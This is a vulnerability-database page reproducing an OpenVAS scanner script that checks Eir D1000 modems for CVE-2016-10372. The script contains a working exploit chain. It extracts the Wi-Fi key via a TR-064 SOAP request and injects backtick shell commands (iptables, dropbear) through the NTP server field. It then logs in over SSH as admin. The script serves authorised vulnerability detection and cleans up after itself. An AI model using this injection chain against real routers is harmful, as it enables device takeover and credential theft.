Eir D1000 Modem CWMP Remote Command Execution
🗓️ 11 Nov 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType
openvas🔗 plugins.openvas.org👁 99 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| The vulnerability of the Zyxel Eir D1000 router’s microprogramming software, related to deficiencies in access control for the TR-064 protocol, allows a intruder to execute arbitrary commands. | 11 Oct 201700:00 | – | bdu_fstec | |
| CVE-2016-10372 | 29 May 201815:50 | – | circl | |
| Eir D1000 Arbitrary Command Execution Vulnerability | 18 May 201700:00 | – | cnvd | |
| CVE-2016-10372 | 16 May 201714:00 | – | cve | |
| CVE-2016-10372 | 16 May 201714:00 | – | cvelist | |
| Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064 | 7 Nov 201600:00 | – | metasploit | |
| CVE-2016-10372 | 16 May 201714:29 | – | nvd | |
| Design/Logic Flaw | 16 May 201714:29 | – | prion | |
| PT-2016-3182 · Eir · Eir D1000 | 7 Oct 201600:00 | – | ptsecurity | |
| VulnCheck KEV: CVE-2016-10372 | 14 Dec 201600:00 | – | vulncheck_kev |
| Source | Link |
|---|---|
| devicereversing | www.devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/ |
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:allegrosoft:rompager";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.140054");
script_version("2025-03-20T05:38:32+0000");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2016-10372");
script_name("Eir D1000 Modem CWMP Remote Command Execution");
script_xref(name:"URL", value:"https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/");
script_tag(name:"vuldetect", value:"Try to open a port in the firewall then start a ssh server on this port and try to login.");
script_tag(name:"insight", value:"By sending certain TR-064 commands, scaner can instruct the modem to open a port on the firewall
and to start a ssh server on this port. This allows ssh access to the modem. The default login password for the D1000 is the Wi-Fi password.
This is easily obtained with another TR-064 command.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
are to upgrade to a newer release, disable respective features, remove the product or replace the product
by another one.");
script_tag(name:"summary", value:"The Eir D1000 Modem has bugs that allow an attacker to gain full control of the modem from the Internet.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_active");
script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2017-12-19 02:29:00 +0000 (Tue, 19 Dec 2017)");
script_tag(name:"creation_date", value:"2016-11-11 10:15:15 +0100 (Fri, 11 Nov 2016)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2016 Greenbone AG");
script_dependencies("gb_allegro_rompager_detect.nasl", "gb_default_credentials_options.nasl");
script_require_ports("Services/www", 7547);
script_mandatory_keys("allegro/rompager/detected");
script_exclude_keys("default_credentials/disable_default_account_checks");
exit(0);
}
if(get_kb_item("default_credentials/disable_default_account_checks"))
exit(0);
include("http_func.inc");
include("http_keepalive.inc");
include("ssh_func.inc");
include("host_details.inc");
include("misc_func.inc");
function run_cmd( cmd, port )
{
local_var buf, cmd, port;
xml = '<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>' + cmd + '</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';
url = '/UD/act?1';
req = http_post_put_req( port:port,
url:url,
data:xml,
add_headers:make_array("Content-Type", "application/x-www-form-urlencoded",
"SOAPAction", "urn:dslforum-org:service:Time:1#SetNTPServers")
);
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( buf !~ "HTTP/1\.. 200" ) exit( 99 );
return;
}
# nb: No get_app_location() as rompager is only used within this product and there is no point
# in linking to the detection of it.
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
url = "/globe";
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( buf !~ "^HTTP/1\.[01] 404" || "home_wan.htm" >!< buf ) exit( 99 );
xml = '<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1">
</u:GetSecurityKeys>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';
req1 = http_post_put_req( port:port,
url:'/UD/act?1',
data:xml,
add_headers:make_array("Content-Type", "text/xml",
"SOAPAction", "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys")
);
buf1 = http_keepalive_send_recv( port:port, data:req1, bodyonly:FALSE );
if( "<NewPreSharedKey>" >!< buf1 ) exit( 99 );
k = eregmatch( pattern:'<NewPreSharedKey>([^<]+)</NewPreSharedKey>', string:buf1 );
if( isnull( k[1] ) ) exit( 99 );
key = k[1];
nc_port = rand() % 64512 + 1024;
run_cmd( cmd:'`iptables -I INPUT -p tcp --dport ' + nc_port + ' -j ACCEPT`', port:port );
run_cmd( cmd:'`dropbear -p ' + nc_port + '`', port:port );
sleep( 3 );
soc = open_sock_tcp( nc_port );
if( ! soc ) exit( 99 );
login = ssh_login( socket:soc, login:'admin', password:key, priv:NULL, passphrase:NULL );
close( soc );
run_cmd( cmd: '`iptables -I INPUT -p tcp --dport ' + nc_port + ' -j REJECT`', port:port );
run_cmd( cmd: "`kill -9 $(pidof dropbear)`", port:port );
run_cmd( cmd: "`dropbear`", port:port );
run_cmd( cmd: "pool.ntp.org", port:port );
if( login == 0 )
{
report = 'By sending certain TR-064 commands, scanner was able to instruct the modem to open port `' + nc_port + '` on the firewall and to start a ssh server on this port.\n';
report += 'The default login password for the D1000 is the default Wi-Fi password `' + key + '`. This was easily obtained with another TR-064 command.\nIt was possible to login into the modem using this password for the user `admin`.';
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Mar 2025 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 39.8
CVSS 210
EPSS0.81899